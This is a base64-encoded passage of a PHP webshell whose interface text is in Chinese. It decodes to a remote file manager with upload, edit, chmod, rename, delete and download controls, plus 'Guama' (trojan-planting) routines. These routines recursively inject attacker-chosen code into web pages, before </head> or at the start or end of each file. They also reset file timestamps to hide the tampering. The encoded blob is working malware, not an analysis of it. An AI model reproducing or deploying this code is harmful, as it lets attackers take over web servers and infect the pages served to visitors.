9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbM10gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP41IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzRdIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj64vbz+NiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic291cFtdIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4guMTD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmV1cFtdIiBzdHlsZT0id2lkdGg6MTMwcHg7aGVpZ2h0OjIycHg7Ij4gJE1TR1s1XSA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jcgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbNl0gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP44IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzddIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyc+0qyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9YSZwPXskVEhJU19ESVJ9JzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQp9DQoNCmZ1bmN0aW9uIEZpbGVfYSgkcCkNCnsNCglpZighJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pICRHRVRVUkwgPSAnJzsgZWxzZSAkR0VUVVJMID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLicvJzsNCgkkTVNHX0JPWCA9ICe1yLT9z/vPorbTwdAnOw0KCSRVUF9ESVIgPSB1cmxlbmNvZGUoRmlsZV9TdHIoJHAuJy8uLicpKTsNCgkkUkVBTF9ESVIgPSBGaWxlX1N0cihyZWFscGF0aCgkcCkpOw0KCSRGSUxFX0RJUiA9IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsNCgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsNCgkkVEhJU19ESVIgPSB1cmxlbmNvZGUoRmlsZV9TdHIoJFJFQUxfRElSKSk7DQoJJE5VTV9EID0gMDsNCgkkTlVNX0YgPSAwOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3BmbiddKSl7JGludGltZSA9IEBzdHJ0b3RpbWUoJF9QT1NUWydtdGltZSddKTskTVNHX0JPWCA9IEZpbGVfV3JpdGUoJF9QT1NUWydwZm4nXSwkX1BPU1RbJ3BmYyddLCd3YicpID8gJ7HgvK3OxLz+ICcuJF9QT1NUWydwZm4nXS4nILPJuaYnIDogJ7HgvK3OxLz+ICcuJF9QT1NUWydwZm4nXS4nIMqnsNwnO0B0b3VjaCgkX1BPU1RbJ3BmbiddLCRpbnRpbWUpO30NCglpZighZW1wdHkoJF9GSUxFU1sndWZwJ11bJ25hbWUnXSkpe2lmKCRfUE9TVFsndWZuJ10gIT0gJycpICR1cGZpbGVuYW1lID0gJF9QT1NUWyd1Zm4nXTsgZWxzZSAkdXBmaWxlbmFtZSA9ICRfRklMRVNbJ3VmcCddWyduYW1lJ107JE1TR19CT1ggPSBGaWxlX1VwKCRfRklMRVNbJ3VmcCddWyd0bXBfbmFtZSddLEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJHVwZmlsZW5hbWUpKSA/ICfJz7SrzsS8/iAnLiR1cGZpbGVuYW1lLicgs8m5picgOiAnyc+0q87EvP4gJy4kdXBmaWxlbmFtZS4nIMqnsNwnO30NCglpZighZW1wdHkoJF9QT1NUWydhY3RhbGwnXSkpeyRNU0dfQk9YID0gRmlsZV9BY3QoJF9QT1NUWydmaWxlcyddLCRfUE9TVFsnYWN0YWxsJ10sJF9QT1NUWydpbnZlciddKTt9DQoJaWYoaXNzZXQoJF9HRVRbJ21kJ10pKXskbW9kZmlsZSA9IEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJF9HRVRbJ21rJ10pOyBpZighZXJlZ2koIl5bMC03XXs0fSQiLCRfR0VUWydtZCddKSkgJE1TR19CT1ggPSAnyvTQ1Na1tO3O8yc7IGVsc2UgJE1TR19CT1ggPSBAY2htb2QoJG1vZGZpbGUsYmFzZV9jb252ZXJ0KCRfR0VUWydtZCddLDgsMTApKSA/ICfQ3rjEICcuJG1vZGZpbGUuJyDK9NDUzqogJy4kX0dFVFsnbWQnXS4nILPJuaYnIDogJ9DeuMQgJy4kbW9kZmlsZS4nIMr00NTOqiAnLiRfR0VUWydtZCddLicgyqew3Cc7fQ0KCWlmKGlzc2V0KCRfR0VUWydtbiddKSl7JE1TR19CT1ggPSBAcmVuYW1lKEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJF9HRVRbJ21uJ10pLEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJF9HRVRbJ3JuJ10pKSA/ICe4xMP7ICcuJF9HRVRbJ21uJ10uJyDOqiAnLiRfR0VUWydybiddLicgs8m5picgOiAnuMTD+yAnLiRfR0VUWydtbiddLicgzqogJy4kX0dFVFsncm4nXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnZG4nXSkpeyRNU0dfQk9YID0gQG1rZGlyKEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJF9HRVRbJ2RuJ10pLDA3NzcpID8gJ7S0vajEv8K8ICcuJF9HRVRbJ2RuJ10uJyCzybmmJyA6ICe0tL2oxL/CvCAnLiRfR0VUWydkbiddLicgyqew3Cc7fQ0KCWlmKGlzc2V0KCRfR0VUWydkZCddKSl7JE1TR19CT1ggPSBGaWxlX0RlbHRyZWUoJF9HRVRbJ2RkJ10pID8gJ8m+s/3Ev8K8ICcuJF9HRVRbJ2RkJ10uJyCzybmmJyA6ICfJvrP9xL/CvCAnLiRfR0VUWydkZCddLicgyqew3Cc7fQ0KCWlmKGlzc2V0KCRfR0VUWydkZiddKSl7aWYoIUZpbGVfRG93bigkX0dFVFsnZGYnXSkpICRNU0dfQk9YID0gJ8/C1NjOxLz+sru05tTaJzt9DQoJUm9vdF9DU1MoKTsNCnByaW50PDw8RU5EDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoJZnVuY3Rpb24gSW5wdXRvayhtc2csZ291cmwpDQoJew0KCQlzbXNnID0gIrWxx7DOxLz+OlsiICsgbXNnICsgIl0iOw0KCQlyZSA9IHByb21wdChzbXNnLHVuZXNjYXBlKG1zZykpOw0KCQlpZihyZSkNCgkJew0KCQkJdmFyIHVybCA9IGdvdXJsICsgZXNjYXBlKHJlKTsNCgkJCXdpbmRvdy5sb2NhdGlvbiA9IHVybDsNCgkJfQ0KCX0NCglmdW5jdGlvbiBEZWxvayhtc2csZ291cmwpDQoJew0KCQlzbXNnID0gIsi3tqjSqsm+s/1bIiArIHVuZXNjYXBlKG1zZykgKyAiXcLwPyI7DQoJCWlmKGNvbmZpcm0oc21zZykpDQoJCXsNCgkJCWlmKGdvdXJsID09ICdiJykNCgkJCXsNCgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0YWxsJykudmFsdWUgPSBlc2NhcGUoZ291cmwpOw0KCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlYWxsJykuc3VibWl0KCk7DQoJCQl9DQoJCQllbHNlIHdpbmRvdy5sb2NhdGlvbiA9IGdvdXJsOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIENoZWNrRGF0ZShtc2csZ291cmwpDQoJew0KCQlzbXNnID0gIrWxx7DOxLz+yrG85DpbIiArIG1zZyArICJdIjsNCgkJcmUgPSBwcm9tcHQoc21zZyxtc2cpOw0KCQlpZihyZSkNCgkJew0KCQkJdmFyIHVybCA9IGdvdXJsICsgcmU7DQoJCQl2YXIgcmVnID0gL14oXFxkezEsNH0pKC18XFwvKShcXGR7MSwyfSlcXDIoXFxkezEsMn0pIChcXGR7MSwyfSk6KFxcZHsxLDJ9KTooXFxkezEsMn0pJC87IA0KCQkJdmFyIHIgPSByZS5tYXRjaChyZWcpOw0KCQkJaWYocj09bnVsbCl7YWxlcnQoJ8jVxtq48cq9srvV/ci3Ibjxyr06eXl5eS1tbS1kZCBoaDptbTpzcycpO3JldHVybiBmYWxzZTt9DQoJCQllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3RhbGwnKS52YWx1ZSA9IGdvdXJsOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW52ZXInKS52YWx1ZSA9IHJlOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZWFsbCcpLnN1Ym1pdCgpO30NCgkJfQ0KCX0NCglmdW5jdGlvbiBDaGVja0FsbChmb3JtKQ0KCXsNCgkJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCXsNCgkJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpDQoJCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIFN1Ym1pdFVybChtc2csdHh0LGFjdGlkKQ0KCXsNCgkJcmUgPSBwcm9tcHQobXNnLHVuZXNjYXBlKHR4dCkpOw0KCQlpZihyZSkNCgkJew0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGFsbCcpLnZhbHVlID0gYWN0aWQ7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW52ZXInKS52YWx1ZSA9IGVzY2FwZShyZSk7DQoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZWFsbCcpLnN1Ym1pdCgpOw0KCQl9DQoJfQ0KPC9zY3JpcHQ+DQoJPGRpdiBpZD0ibXNnYm94IiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+DQoJPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzozcHg7Ij4NCgk8Zm9ybSBtZXRob2Q9IkdFVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9InMiIG5hbWU9InMiIHZhbHVlPSJhIj4NCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icCIgdmFsdWU9InskUkVBTF9ESVJ9IiBzdHlsZT0id2lkdGg6NTUwcHg7aGVpZ2h0OjIycHg7Ij4NCgk8c2VsZWN0IG9uY2hhbmdlPSJsb2NhdGlvbi5ocmVmPSc/cz1hJnA9JytvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlIj4NCgk8b3B0aW9uPi0tLczYyuLEv8K8LS0tPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0ieyRST09UX0RJUn0iPiDN+NW+uPnEv8K8IDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InskRklMRV9ESVJ9Ij4gsb6zzNDyxL/CvCA8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy+huL+qyryhubLLtaUvs8zQ8i/G9LavIj4gy/nT0NfpxvS2r8/uIDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IkM6L0RvY3VtZW50cyBhbmQgU2V0dGluZ3MvQWxsIFVzZXJzL1N0YXJ0IE1lbnUvUHJvZ3JhbXMvU3RhcnR1cCI+INOizsTG9Lavz+4gPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iQzovUkVDWUNMRVIiPiBSRUNZQ0xFUiA8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9Qcm9ncmFtIEZpbGVzIj4gUHJvZ3JhbSBGaWxlcyA8L29wdGlvbj4NCgk8L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Iteqtb0iIHN0eWxlPSJ3aWR0aDo1MHB4OyI+PC9mb3JtPg0KCTxkaXYgc3R5bGU9Im1hcmdpbi10b3A6M3B4OyI+PC9kaXY+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zPWEmcD17JFRISVNfRElSfSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9ItDCvajOxLz+IiBvbmNsaWNrPSJJbnB1dG9rKCduZXdmaWxlLnBocCcsJz9zPXAmZnA9eyRUSElTX0RJUn0mZm49Jyk7Ij4NCgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i0MK9qMS/wrwiIG9uY2xpY2s9IklucHV0b2soJ25ld2RpcicsJz9zPWEmcD17JFRISVNfRElSfSZkbj0nKTsiPiANCgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ixfrBv8nPtKsiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9cSZwPXskUkVBTF9ESVJ9JzsiPiANCgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idWZwIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4NCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idWZuIiBzdHlsZT0id2lkdGg6MTIxcHg7aGVpZ2h0OjIycHg7Ij4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyc+0qyIgc3R5bGU9IndpZHRoOjUwcHg7Ij4NCgk8L2Zvcm0+DQoJPC9kaXY+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJmaWxlYWxsIiBpZD0iZmlsZWFsbCIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iPg0KCTx0YWJsZSBib3JkZXI9IjAiPjx0cj4NCgk8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NDUwcHg7Ij4gPGEgaHJlZj0iP3M9YSZwPXskVVBfRElSfSI+PGI+yc+8tsS/wrw8L2I+PC9hPiA8L3RkPg0KCTx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+ILLZ1/cgPC90ZD4NCgk8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NDhweDsiPiDK9NDUIDwvdGQ+DQoJPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjE3M3B4OyI+INDeuMTKsbzkIDwvdGQ+DQoJPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjc1cHg7Ij4gtPPQoSA8L3RkPjwvdHI+DQpFTkQ7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgb3IgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRGaWxlbmFtZSk7DQoJCWlmKGlzX2RpcigkRmlsZXBhdGgpKQ0KCQl7DQoJCQkkRmlsZXBlcm0gPSBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJEZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7DQoJCQkkRmlsZXBhdGggPSB1cmxlbmNvZGUoJEZpbGVwYXRoKTsNCgkJCWVjaG8gIlxyXG4iLicgPHRyPjx0ZD4gPGEgaHJlZj0iP3M9YSZwPScuJEZpbGVwYXRoLiciPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48Yj4gJy4kRmlsZW5hbWUuJyA8L2I+PC9hPiA8L3RkPiAnOw0KCQkJJEZpbGVuYW1lID0gdXJsZW5jb2RlKCRGaWxlbmFtZSk7DQoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycuJEZpbGVuYW1lLidcJyxcJz9zPWEmcD0nLiRUSElTX0RJUi4nJmRkPScuJEZpbGVuYW1lLidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPiAnOw0KCQkJZWNobyAnIDxhIGhyZWY9IiMiIG9uY2xpY2s9IklucHV0b2soXCcnLiRGaWxlbmFtZS4nXCcsXCc/cz1hJnA9Jy4kVEhJU19ESVIuJyZtbj0nLiRGaWxlbmFtZS4nJnJuPVwnKTtyZXR1cm4gZmFsc2U7Ij4guMTD+yA8L2E+IDwvdGQ+ICc7DQoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZXBlcm0uJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbWs9Jy4kRmlsZW5hbWUuJyZtZD1cJyk7cmV0dXJuIGZhbHNlOyI+ICcuJEZpbGVwZXJtLicgPC9hPiA8L3RkPiAnOw0KCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsNCgkJCWVjaG8gJyA8dGQ+IDwvdGQ+IDwvdHI+Jy4iXHJcbiI7DQoJCQkkTlVNX0QrKzsNCgkJfQ0KCX0NCglAcmV3aW5kZGlyKCRoX2QpOw0KCXdoaWxlKGZhbHNlICE9PSAoJEZpbGVuYW1lID0gQHJlYWRkaXIoJGhfZCkpKQ0KCXsNCgkJaWYoJEZpbGVuYW1lID09ICcuJyBvciAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7DQoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJEZpbGVuYW1lKTsNCgkJaWYoIWlzX2RpcigkRmlsZXBhdGgpKQ0KCQl7DQoJCQkkRmlsZXVybHMgPSBzdHJfcmVwbGFjZShGaWxlX1N0cigkUk9PVF9ESVIuJy8nKSwkR0VUVVJMLCRGaWxlcGF0aCk7DQoJCQkkRmlsZXBlcm0gPSBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJEZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7DQoJCQkkRmlsZXNpemUgPSBGaWxlX1NpemUoQGZpbGVzaXplKCRGaWxlcGF0aCkpOw0KCQkJaWYoJEZpbGVwYXRoID09IEZpbGVfU3RyKF9fRklMRV9fKSkgJGZuYW1lID0gJzxmb250IGNvbG9yPSIjOEIwMDAwIj4nLiRGaWxlbmFtZS4nPC9mb250Pic7IGVsc2UgJGZuYW1lID0gJEZpbGVuYW1lOw0KCQkJZWNobyAiXHJcbiIuJyA8dHI+PHRkPiA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZpbGVzW10iIHZhbHVlPSInLnVybGVuY29kZSgkRmlsZXBhdGgpLiciPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRGaWxldXJscy4nIj4nLiRmbmFtZS4nPC9hPiA8L3RkPic7DQoJCQkkRmlsZXBhdGggPSB1cmxlbmNvZGUoJEZpbGVwYXRoKTsNCgkJCSRGaWxlbmFtZSA9IHVybGVuY29kZSgkRmlsZW5hbWUpOw0KCQkJZWNobyAnIDx0ZD4gPGEgaHJlZj0iP3M9cCZmcD0nLiRUSElTX0RJUi4nJmZuPScuJEZpbGVuYW1lLiciPiCx4LytIDwvYT4gJzsNCgkJCWVjaG8gJyA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZW5hbWUuJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbW49Jy4kRmlsZW5hbWUuJyZybj1cJyk7cmV0dXJuIGZhbHNlOyI+ILjEw/sgPC9hPiA8L3RkPic7DQoJCQllY2hvICcgPHRkPicuJEZpbGVwZXJtLic8L3RkPiAnOw0KCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsNCgkJCWVjaG8gJyA8dGQgYWxpZ249InJpZ2h0Ij4gPGEgaHJlZj0iP3M9YSZkZj0nLiRGaWxlcGF0aC4nIj4nLiRGaWxlc2l6ZS4nPC9hPiA8L3RkPjwvdHI+ICcuIlxyXG4iOw0KCQkJJE5VTV9GKys7DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCWlmKCEkRmlsZXRpbWUpICRGaWxldGltZSA9ICcyMDA5LTAxLTAxIDAwOjAwOjAwJzsNCnByaW50PDw8RU5EDQo8L3RhYmxlPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImFjdGFsbCIgbmFtZT0iYWN0YWxsIiB2YWx1ZT0idW5kZWZpbmVkIj4gDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iaW52ZXIiIG5hbWU9ImludmVyIiB2YWx1ZT0idW5kZWZpbmVkIj4gDQo8aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pOyI+IA0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Iri01sYiIG9uY2xpY2s9IlN1Ym1pdFVybCgnuLTWxsv50aHOxLz+tb3Ct762OiAnLCd7JFRISVNfRElSfScsJ2EnKTtyZXR1cm4gZmFsc2U7Ij4gDQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/SIgb25jbGljaz0iRGVsb2soJ8v50aHOxLz+JywnYicpO3JldHVybiBmYWxzZTsiPiANCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLK9NDUIiBvbmNsaWNrPSJTdWJtaXRVcmwoJ9DeuMTL+dGhzsS8/sr00NTWtc6qOiAnLCcwNjY2JywnYycpO3JldHVybiBmYWxzZTsiPiANCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLKsbzkIiBvbmNsaWNrPSJDaGVja0RhdGUoJ3skRmlsZXRpbWV9JywnZCcpO3JldHVybiBmYWxzZTsiPiANCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK08rD8IiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7TysPyyos/C1NjL+dGhzsS8/s/C1NjD+86qOiAnLCdzcGlkZXIudGFyLmd6JywnZScpO3JldHVybiBmYWxzZTsiPiANCsS/wrwoeyROVU1fRH0pIC8gzsS8/ih7JE5VTV9GfSk8L2Rpdj4gDQo8L2Zvcm0+IA0KRU5EOw0KCXJldHVybiB0cnVlOw0KfQ0KDQovL8X6wb+50sLtDQpmdW5jdGlvbiBHdWFtYV9QYXNzKCRsZW5ndGgpDQp7DQoJJHBvc3NpYmxlID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsNCgkkc3RyID0gIiI7DQoJd2hpbGUoc3RybGVuKCRzdHIpIDwgJGxlbmd0aCkgJHN0ciAuPSBzdWJzdHIoJHBvc3NpYmxlLChyYW5kKCkgJSBzdHJsZW4oJHBvc3NpYmxlKSksMSk7DQoJcmV0dXJuICRzdHI7DQp9DQoNCmZ1bmN0aW9uIEd1YW1hX01ha2UoJGNvZGVhLCRjb2RlYiwkY29kZWMpDQp7DQoJcmV0dXJuIHN0cl9yZXBsYWNlKCRjb2RlYSxHdWFtYV9QYXNzKCRjb2RlYiksJGNvZGVjKTsNCn0NCg0KZnVuY3Rpb24gR3VhbWFfQXV0bygkZ3AsJGd0LCRnbCwkZ2MsJGdtLCRnZiwkZ2ksJGdrLCRnZCwkZ2IpDQp7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkZ3ApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7DQoJaWYoJGdtID4gMTIpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQlpZigkZ2wgIT0gJycpe2lmKGVyZWdpKCRnbCwkRmlsZW5hbWUpKSBjb250aW51ZTt9DQoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRncC4nLycuJEZpbGVuYW1lKTsNCgkJaWYoaXNfZGlyKCRGaWxlcGF0aCkgJiYgJGdiKSBHdWFtYV9BdXRvKCRGaWxlcGF0aCwkZ3QsJGdsLCRnYywkZ20sJGdmLCRnaSwkZ2ssJGdkLCRnYik7DQoJCWlmKGVyZWdpKCRndCwkRmlsZW5hbWUpKQ0KCQl7DQoJCQkkZmMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWlmKCgkZ2sgIT0gJycpICYmIChzdHJpc3RyKCRmYyxjaG9wKCRnaykpKSkgY29udGludWU7DQoJCQlpZigoJGdmICE9ICcnKSAmJiAoJGdtICE9IDApKSAkZ2NtID0gR3VhbWFfTWFrZSgkZ2YsJGdtLCRnYyk7IGVsc2UgJGdjbSA9ICRnYzsNCgkJCWlmKCRnZCkgJGZ0aW1lID0gQGZpbGVtdGltZSgkRmlsZXBhdGgpOw0KCQkJaWYoJGdpID09ICdhJyl7aWYoIXN0cmlzdHIoJGZjLCc8L2hlYWQ+JykpIGNvbnRpbnVlOyAkZmNtID0gc3RyX3JlcGxhY2UoJzwvaGVhZD4nLCJcclxuIi4kZ2NtLiJcclxuIi4nPC9oZWFkPicsJGZjKTsgJGZjbSA9IHN0cl9yZXBsYWNlKCc8L0hFQUQ+JywiXHJcbiIuJGdjbS4iXHJcbiIuJzwvSEVBRD4nLCRmY20pO30NCgkJCWlmKCRnaSA9PSAnYicpICRmY20gPSAkZ2NtLiJcclxuIi4kZmM7DQoJCQlpZigkZ2kgPT0gJ2MnKSAkZmNtID0gJGZjLiJcclxuIi4kZ2NtOw0KCQkJZWNobyBGaWxlX1dyaXRlKCRGaWxlcGF0aCwkZmNtLCd3YicpID8gJzxmb250IGNvbG9yPSIjMDA2NjAwIj6zybmmOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIiA6ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+yqew3Do8L2ZvbnQ+Jy4kRmlsZXBhdGguJyA8YnI+Jy4iXHJcbiI7DQoJCQlpZigkZ2QpIEB0b3VjaCgkRmlsZXBhdGgsJGZ0aW1lKTsNCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJfQ0KCUBjbG9zZWRpcigkaF9kKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gR3VhbWFfYigpDQp7DQoJaWYoKCFlbXB0eSgkX1BPU1RbJ2dwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZ3QnXSkpICYmICghZW1wdHkoJF9QT1NUWydnYyddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRfUE9TVFsnZ3QnXSA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ2d0J10pOw0KCQlpZigkX1BPU1RbJ2lub3V0J10gPT0gJ2EnKSAkX1BPU1RbJ2dsJ10gPSBzdHJfcmVwbGFjZSgnLicsJ1xcLicsJF9QT1NUWydnbCddKTsgZWxzZSAkX1BPU1RbJ2dsJ10gPSAnJzsNCgkJaWYoc3RyaXN0cigkX1BPU1RbJ2djJ10sJ1stJykgJiYgc3RyaXN0cigkX1BPU1RbJ2djJ10sJy1dJykpDQoJCXsNCgkJCSR0ZW1wID0gZXhwbG9kZSgnWy0nLCRfUE9TVFsnZ2MnXSk7DQoJCQkkZ2sgPSAkdGVtcFswXTsNCgkJCXByZWdfbWF0Y2hfYWxsKCIvXFtcLShbXn5dKj8pXC1cXS9pIiwkX1BPU1RbJ2djJ10sJG5jKTsNCgkJCWlmKCFlcmVnaSgi